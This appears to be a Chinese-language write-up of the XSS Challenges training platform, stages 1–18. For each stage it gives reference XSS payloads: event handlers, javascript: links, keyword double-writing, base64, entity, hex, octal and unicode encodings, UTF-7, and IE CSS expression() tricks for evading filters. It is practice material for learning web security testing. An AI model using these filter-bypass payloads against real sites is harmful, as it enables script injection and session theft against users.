每個標題有超鏈的都是可以直接點擊去做那一關,這樣就用每次都從第一關開始做了。想做哪關做哪關。
以下來自XSS練習平台----XSS Challenges
這個練習平台沒有像alert(1)to win類似的平台一樣會給出關鍵的源代碼,並且會在頁面給予反饋。這是一個模仿真實xss挖洞的情景,在XSS Challenges練習過程中,我們需要用瀏覽器中的f12中搜索(),找出我們控制的代碼所在的位置,然后思考那些個位置哪個或哪幾個位置可以被注入我們想要的代碼,然后結合上下文進行各種腦洞繞過。
在chorme中做題會被防火牆檢測為危險代碼,解決方案
在chrome中搜索,在f12中的的Element中用Ctrl+Shift+f調出搜索框,可以搜索這個頁面用到的所有文本資源的字符串,也可以在Source中先在左邊選中對應的文件夾后,用Ctrl+f調出搜索框搜索當前文件字符串
在firefox的話,我用了firebug,直接選中HTML或CSS或腳本,然后在右上方搜索框搜索即可(選擇腳本搜的最全)。
在IE的話,先選擇調試程序,然后在右上方搜索框搜索即可。
(暫時知道那么多,還有什么補充的以后再更)
一般思路是測試,看哪些寫法或字符被過濾了(單引號,雙引號,尖括號,正反斜杠等等),然后構造攻擊代碼,另外一種方式就是去resources 中,去查看腳本,是哪個腳本執行了什么操作,讓變量進入了標簽,了解清楚了之后,可以對症下葯的創造攻擊向量。
閉合標簽,只是JS偽協議(javascript:url),
含有JS偽協議的a標簽,script代碼,
事件(alert,onclick,onmouseover等等),
雙寫,編碼繞過 base64編碼eval() atob()函數,
html實體編碼
unicode編碼某個字符或者插入不可見字符	[是unicode編碼后的tab],空格繞過(單詞之中加空格),
16進制繞過(ascii碼對應的16進制)
Stage #1
很簡單,沒有任何過濾,輸出點在標簽之間,閉合標簽,構造新標簽搞定。
參考payload:
dada"</b><script>alert(document.domain)</script>
dada"</b><svg/onload=alert(document.domain)>
dada"</b><IMG SRC=javascript:alert('XSS')>

Stage #2
參考payload:
" onmouseover=alert(document.domain)>
"><script>alert(document.domain)</script>

Stage #3
第一個被轉義了,用第二個參數
參考payload:
"><script>alert(document.domain)</script>
<script>alert(document.domain)</script>


Stage #4
抓包嘗試發現p1 p2都被過濾了 p3是隱藏的標簽沒被過濾
參考payload:
"><script>alert(document.domain)</script>
"><svg/onload=alert(document.domain)>%0a


Stage #5
長度限制 抓包解決
參考payload:
dada"><script>alert(document.domain)</script>
dada" onmouseover=javascript:alert(document.domain)
dada" onmouseover=alert(document.domain)
dada"><svg/onload=alert(document.domain)>


Stage #6
與Stage#2幾乎一樣,也是value參數,唯一不同的是過濾了<>,但沒有過濾"(可以閉合前面的屬性),這樣我們就不可以用新的標簽了,但我們可以在標簽里面加新的屬性,如 " οnmοuseοver=alert(document.domain) name="1類似這樣的,onmouseover是把鼠標放在上面就執行的on時間,onclick之類的也是可以的。
參考payload:
dada" onmouseover=alert(document.domain) name="1
dada" onclick=alert(document.domain) name="1


Stage #7
和上一題很像,這個題把雙引號<>都過濾了

參考payload:
test onmouseover=alert(document.domain)
但以下的也可以 不知道是不是瀏覽器原因
dada" onmouseover=alert(document.domain)
dada" onmouseover=alert(document.domain) name="1
dada" onclick=alert(document.domain) name="1

但是從網上找到的卻說是用的空格分割,也算誤打誤撞吧,
但是上面的payload只要加的雙引號中間有空格隔開或者不讓其緊挨着出現就可以成功,比如dada" onmouseover=alert(document.domain) " " "。后來看了別人的WP才學習到了,並不是轉以后的雙引號起了分隔作用,而是雙引號后面的空格,空格也可以分隔屬性(記住要在空格前面隨便加點什么,否則bp提包的時候會自動將空格省略)
Stage #8
題目是輸入一條url,然后后台把它包在一個標簽里,我們需要點擊超鏈接然后彈窗。所以可以用js偽協議
參考payload:
javascript:alert(document.domain)


Stage #9
這一關是利用utf-7編碼的,需要環境是IE 7
我用了ie復現也是不能成功,留下個payload吧。
參考payload:
" onmouseover=alert(document.domain)>
+/v8 +ACI- onmouseover=alert(d+AG8AYw-u+AG0-en+AHQALg-d+AG8AbQBh-in)+AD4-
1.用可以識別UTF-7的IE瀏覽器
2.把抓包內容改成p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7
意思是我們提交UTF-7編碼的py上去,然后瀏覽器UTF-7解碼出利用py~~(我覺得出題者簡直閑的蛋疼,不說現在沒有利用utf-7的ie了,哪有什么網頁的后台是只能解碼utf-7的)
Stage #10
這個也是value注入點,直接在網頁提交發現,題目把domain過濾掉了,所以用可以用雙寫繞過.
查看源代碼,老是不小心看到提示:
s/script/xscript/ig;
s/on[a-z]+=/onxxx=/ig;
s/style=/stxxx=/ig;
發現過濾了不少東西,
1,script會被替換為xscript
2,on事件會被替換為onxxx
3,style會被替換為stxxx
嘗試用tab制表(%09),換行(%0a,%0d,%0a%0d)等符號都不行。
參考payload:
雙寫繞過:"><script>alert(document.dodomainmain)</script>
編碼繞過:"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))</script>

Stage #11
也是value注入點,在網頁中各種提交姿勢試一下,發現script前面加個x,on事件全部不能用(題后看hint也證實了我的猜想)
想到除了on事件和script之外還能執行js的是構造a標簽在超鏈中執行js。
構造"><a href=javascript:alert(document)>1</a>< ,發現構造的語句中仍然有script,我們把之中的r進行html實體一下

提交之后f12看下:

發現被渲染成r了,成功彈窗。
(還可以在script中間插入	, ,空格等不可見字符對script進行分割,讓正則匹配不到)
參考payload:
"><a href=javascript:alert(document)>1</a><"
"><a href=javascript:alert(document)>1</a><"
"><a href=java	script:alert(document)>1</a><" //	 tab制表符html十進制編碼
"><a href=javascri
pt:alert(document.domain)>test</a> //
是html5的換行符,:是冒號
但是用url編碼編碼r即"><a href=javasc%72ipt:alert(document)>1</a><"查看后發現沒有被渲染,但是彈窗,不知道為何。
Stage #12(IE)
利用IE特性`會唄當成單引號
照常嘗試,還是value值,過濾了<>和",想用編碼能不能繞過(因為過濾了<>",HTML實體是不行的,html實體不能讓內容逃出來)
查看提示:
"s/[\x00-\x20\<\>\"\']//g;
把\x00-\x20的字符與及<,>,",'都替換為空。
想着還有什么能夠替換空格呢?用 的話還是會沒辦法跳處value屬性。
看了一下sherlock17 大佬的wp,發現了竟然還有一個符號,學到東西了。但是得在IE下才可以。
`
由於IE的特性,或者說瀏覽器競爭時代百家爭鳴導致的結果,會把`解析為引號。

那么我們的payload可以是
``onmouseover=alert(1)
在IE下成功彈框

參考payload:
``onmouseover=alert(1)
IE
Stage #13(IE)
條件IE7.0 6.0 因為expression語法只存在IE中
照常轉義了<>和",F12發現相比以往的題這道題多了一個style屬性,那肯定就是從這里入手了。百度style XSS,搜到一個知識點叫“行內樣式的動態特性”(就是在ie下能在css中執行js代碼)

還有一種利用方法 background:url(javascript:alert('xss'));
xss:expresion(alert(document.doamin))
background:url(javascript:alert('document.domain'))
xss:expr/*XSS*/ession(alert(document.domain));
Stage #14(IE)
還是考的style的東西,但這次增加了過濾。可以用CSS注釋/**/插入單詞間,或html實體編碼,但是&被轉義了 。
s/(url|script|eval|expression)/xxx/ig;
把url,script,eval,expression關鍵字都替換為了xxx。
解法就是尋找黑名單之外的關鍵字,但是我們發現其實我們可以直接用上面的那個payload:
xss:expr/*XSS*/ession(alert(document.domain));
Stage #15
<> " &被轉義了 \被過濾了,所以不能構造html實體,和unicode編碼了,但是輸入\\發現只過濾了一個,所以就用unicode編碼了,(就是\\003c和\\003e代替<>換成十六進制編碼也就是\\x3c,\\x3e也是可以的)
參考payload:
unicode 編碼下面的payload
<svg/onload=alert(document.domain)>
\x3csvg\x2fonload=alert(document.domain)\x3e
因為會過濾一個\ 所以用:
\\x3csvg\\x2fonload=alert(document.domain)\\x3e
<script>alert(document.doamin)</script>同理
\\x3cscript\\x2falert=(document.doamin)\\x3c/script\\x2f
有幾種方過濾的方法:(使用\\ 防止\被轉義)字符的ascii碼值對應的16進制, \x__ 16進制格式
第一種:換成16進制編碼\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
第二種:換成Unicode編碼\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
這個是uncode編碼方式 解碼道方式如下:
String a ="\u003C\u0066\u0072\u006F\u006D\u003E";
System.out.println(new String(a.getBytes(),"utf-8"));
結果:<from>
unicode解碼:https://tool.chinaz.com/tools/unicode.aspx

Stage #16
提示說
"document.write();" and "s/\\x/\\\\x/ig;
把\\x 替換成了\\\\x,但是js編碼又不止16進制,還有八進制,unicode編碼
看到又有document.write,試了試上題的利用代碼,直接過了......看了下hint,發現是替換了\x,那與上題唯一的區別就是十六進制編碼不能用了。ps:還有一種編碼格式是八進制編碼?和unicode編碼
參考payload:
\\74img src=x οnerrοr=alert(document.domain)\\76 8進制的
\\u003cimg src=x onerror=alert(document.domain)\\u003e 16進制的unicode
Stage #17(IE 6)
題目說了只能在老ie上復現,那我們就直接看大佬WP好了。
類似於sql注入的寬字節注入,用%A7(%幾都行,只要符合下面大佬WP中可以用來欺騙的編碼)加上雙引號的%34?讓html自解碼機制誤認為這是寬字節字符,從而弄掉雙引號。
半角片假名使用兩個字節來表示:0x8E + 0xA1-0xDF
JIS X 0208字元使用兩個字節來表示:0xA1-0xFE + 0xA1-0xFE
JIS X 0212字元使用三個字節來表示:0x8F + 0xA1-0xFE + 0xA1-0xFE
以上是百度找的,因為沒有環境,所以沒測試
Stage #18(IE 6)
看了一下別人的wp,17 18兩關都是考的字符集的問題,且復現有瀏覽器要求需要在IE 6上復現。
